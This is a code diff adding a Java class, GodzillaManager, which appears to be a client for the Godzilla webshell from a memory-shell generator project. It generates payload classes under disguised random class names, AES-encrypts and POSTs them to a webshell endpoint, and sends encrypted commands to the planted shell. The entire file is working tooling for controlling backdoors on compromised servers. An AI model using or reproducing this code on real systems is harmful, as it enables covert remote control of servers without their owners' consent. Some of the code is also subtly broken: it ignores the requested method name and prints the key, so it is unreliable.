1+ package com .reajason .javaweb .godzilla ;
2+
3+ import com .reajason .javaweb .memsell .GodzillaGenerator ;
4+ import lombok .Getter ;
5+ import lombok .Setter ;
6+ import lombok .SneakyThrows ;
7+ import net .bytebuddy .ByteBuddy ;
8+ import net .bytebuddy .dynamic .DynamicType ;
9+ import okhttp3 .*;
10+ import org .apache .commons .codec .binary .Base64 ;
11+ import org .apache .commons .codec .digest .DigestUtils ;
12+ import org .apache .commons .io .IOUtils ;
13+ import org .apache .commons .lang3 .StringUtils ;
14+
15+ import javax .crypto .Cipher ;
16+ import javax .crypto .spec .SecretKeySpec ;
17+ import java .io .*;
18+ import java .net .URLDecoder ;
19+ import java .nio .charset .StandardCharsets ;
20+ import java .util .*;
21+ import java .util .zip .GZIPInputStream ;
22+ import java .util .zip .GZIPOutputStream ;
23+
24+ /**
25+ * @author ReaJason
26+ */
27+ @ Getter
28+ @ Setter
29+ public class GodzillaManager implements Closeable {
30+ private final OkHttpClient client ;
31+ private static final List <String > CLASS_NAMES ;
32+ private String J_SESSION_ID = "" ;
33+ private String entrypoint ;
34+ private String key ;
35+ private String pass ;
36+ private String md5 ;
37+ private Request request ;
38+ private Map <String , String > headers = new HashMap <>();
39+
40+ static {
41+ InputStream classNamesStream = Objects .requireNonNull (GodzillaGenerator .class .getResourceAsStream ("/godzillaShellClassNames.txt" ));
42+ CLASS_NAMES = IOUtils .readLines (classNamesStream , "UTF-8" );
43+ }
44+
45+ public static class GodzillaManagerBuilder {
46+ private String entrypoint ;
47+ private String key ;
48+ private String pass ;
49+ private final Map <String , String > headers = new HashMap <>();
50+
51+ public GodzillaManagerBuilder entrypoint (String entrypoint ) {
52+ this .entrypoint = entrypoint ;
53+ return this ;
54+ }
55+
56+ public GodzillaManagerBuilder key (String key ) {
57+ this .key = key ;
58+ return this ;
59+ }
60+
61+ public GodzillaManagerBuilder pass (String pass ) {
62+ this .pass = pass ;
63+ return this ;
64+ }
65+
66+ public GodzillaManagerBuilder header (String key , String value ) {
67+ this .headers .put (key , value );
68+ return this ;
69+ }
70+
71+ public GodzillaManager build () {
72+ GodzillaManager manager = new GodzillaManager ();
73+ manager .setEntrypoint (entrypoint );
74+ manager .setPass (pass );
75+ String md5Key = DigestUtils .md5Hex (key ).substring (0 , 16 );
76+ String md5 = DigestUtils .md5Hex (pass + md5Key ).toUpperCase ();
77+ manager .setMd5 (md5 );
78+ manager .setKey (md5Key );
79+ Map <String , String > headers = new HashMap <>(16 );
80+ headers .put ("User-Agent" , "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0" );
81+ headers .put ("Content-Type" , "application/x-www-form-urlencoded" );
82+ headers .put ("Accept" , "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" );
83+ headers .put ("Accept-Language" , "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" );
84+ headers .putAll (this .headers );
85+ manager .setHeaders (headers );
86+ return manager ;
87+ }
88+ }
89+
90+ public static GodzillaManagerBuilder builder () {
91+ return new GodzillaManagerBuilder ();
92+ }
93+
94+ public GodzillaManager () {
95+ this .client = new OkHttpClient .Builder ().build ();
96+ }
97+
98+ private Response post (byte [] bytes ) throws IOException {
99+ byte [] aes = aes (bytes , true );
100+ assert aes != null ;
101+ String base64String = Base64 .encodeBase64String (aes );
102+ RequestBody requestBody = new FormBody .Builder ()
103+ .add ("pass" , base64String )
104+ .build ();
105+ Request .Builder builder = new Request .Builder ()
106+ .url (this .entrypoint )
107+ .post (requestBody )
108+ .headers (Headers .of (this .headers ));
109+ if (StringUtils .isNotBlank (J_SESSION_ID )) {
110+ builder .header ("Cookie" , J_SESSION_ID );
111+ }
112+ return client .newCall (builder .build ()).execute ();
113+ }
114+
115+ public static byte [] generateGodzilla () {
116+ Random random = new Random ();
117+ String className = CLASS_NAMES .get (random .nextInt (CLASS_NAMES .size ()));
118+ try (DynamicType .Unloaded <?> make = new ByteBuddy ()
119+ .redefine (Payload .class )
120+ .name (className )
121+ .make ()) {
122+ return make .getBytes ();
123+ }
124+ }
125+
126+ public boolean start () {
127+ byte [] bytes = generateGodzilla ();
128+ try (Response response = post (bytes )) {
129+ String setCookie = response .header ("Set-Cookie" );
130+ if (setCookie != null && setCookie .contains ("JSESSIONID=" )) {
131+ J_SESSION_ID = setCookie .substring (setCookie .indexOf ("JSESSIONID=" ), setCookie .indexOf (";" ));
132+ }
133+ return response .code () == 200 ;
134+ } catch (IOException e ) {
135+ return false ;
136+ }
137+ }
138+
139+ public boolean test () {
140+ byte [] bytes = generateMethodCallBytes ("test" );
141+ try (Response response = post (bytes )) {
142+ if (response .code () == 200 ) {
143+ ResponseBody body = response .body ();
144+ if (body != null ) {
145+ String resultFromRes = getResultFromRes (body .string ());
146+ return "ok" .equals (resultFromRes );
147+ }
148+ }
149+ return false ;
150+ } catch (IOException e ) {
151+ e .printStackTrace ();
152+ return false ;
153+ }
154+ }
155+
156+ @ Override
157+ public void close () throws IOException {
158+ byte [] bytes = generateMethodCallBytes ("close" );
159+ try (Response response = post (bytes )) {
160+ if (response .code () == 200 ) {
161+ ResponseBody body = response .body ();
162+ }
163+ } catch (IOException ignore ) {
164+
165+ }
166+ }
167+
168+ /**
169+ * AES 加解密
170+ *
171+ * @param bytes 加解密的字符串字节数组
172+ * @param encoding 是否为加密,true 为加密,false 解密
173+ * @return 返回加解密后的字节数组
174+ */
175+ public byte [] aes (byte [] bytes , boolean encoding ) {
176+ System .out .println (key );
177+ try {
178+ Cipher c = Cipher .getInstance ("AES" );
179+ c .init (encoding ? 1 : 2 , new SecretKeySpec (this .key .getBytes (), "AES" ));
180+ return c .doFinal (bytes );
181+ } catch (Exception e ) {
182+ e .printStackTrace ();
183+ return null ;
184+ }
185+ }
186+
187+ private boolean isValidResponse (String response ) {
188+ if (StringUtils .isEmpty (response )) {
189+ return false ;
190+ }
191+ return response .startsWith (md5 .substring (0 , 16 )) && response .endsWith (md5 .substring (16 ));
192+ }
193+
194+ public String getResultFromRes (String responseBody ) throws IOException {
195+ String result = responseBody .substring (16 );
196+ result = result .substring (0 , result .length () - 16 );
197+ byte [] bytes = Base64 .decodeBase64 (result );
198+ byte [] x = aes (bytes , false );
199+ GZIPInputStream gzipInputStream = new GZIPInputStream (new ByteArrayInputStream (x ));
200+ return IOUtils .toString (gzipInputStream , StandardCharsets .UTF_8 );
201+ }
202+
203+ Map <String , String > restorePayload (String payload ) throws IOException {
204+ String p = URLDecoder .decode (payload , "UTF-8" );
205+ Map <String , String > map = new HashMap <>();
206+ byte [] bytes = Base64 .decodeBase64 (p );
207+ byte [] x = aes (bytes , false );
208+ ByteArrayInputStream tStream = new ByteArrayInputStream (x );
209+ ByteArrayOutputStream tp = new ByteArrayOutputStream ();
210+ byte [] lenB = new byte [4 ];
211+ int read ;
212+ try {
213+ GZIPInputStream inputStream = new GZIPInputStream (tStream );
214+ while (true ) {
215+ byte t = (byte ) inputStream .read ();
216+ if (t != -1 ) {
217+ if (t == 2 ) {
218+ String key = tp .toString ();
219+ int read1 = inputStream .read (lenB );
220+ int len = bytesToInt (lenB );
221+ byte [] data = new byte [len ];
222+ int readOneLen = 0 ;
223+ do {
224+ read = readOneLen + inputStream .read (data , readOneLen , data .length - readOneLen );
225+ readOneLen = read ;
226+ } while (read < data .length );
227+ map .put (key , new String (data ));
228+ tp .reset ();
229+ } else {
230+ tp .write (t );
231+ }
232+ } else {
233+ tp .close ();
234+ tStream .close ();
235+ inputStream .close ();
236+ break ;
237+ }
238+ }
239+ } catch (Exception ignored ) {
240+ }
241+ return map ;
242+ }
243+
244+ public static int bytesToInt (byte [] bytes ) {
245+ return (bytes [0 ] & 255 ) | ((bytes [1 ] & 255 ) << 8 ) | ((bytes [2 ] & 255 ) << 16 ) | ((bytes [3 ] & 255 ) << 24 );
246+ }
247+
248+ @ SneakyThrows
249+ private byte [] generateMethodCallBytes (String methodName ) {
250+ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream ();
251+ try (GZIPOutputStream gzipOutputStream = new GZIPOutputStream (byteArrayOutputStream );) {
252+ byte [] value = "close" .getBytes ();
253+ gzipOutputStream .write ("methodName" .getBytes ());
254+ gzipOutputStream .write (2 );
255+ gzipOutputStream .write (intToBytes (value .length ));
256+ gzipOutputStream .write (value );
257+ }
258+ return byteArrayOutputStream .toByteArray ();
259+ }
260+
261+ public static byte [] intToBytes (int value ) {
262+ return new byte []{(byte ) (value & 255 ), (byte ) ((value >> 8 ) & 255 ), (byte ) ((value >> 16 ) & 255 ), (byte ) ((value >> 24 ) & 255 )};
263+ }
264+ }
0 commit comments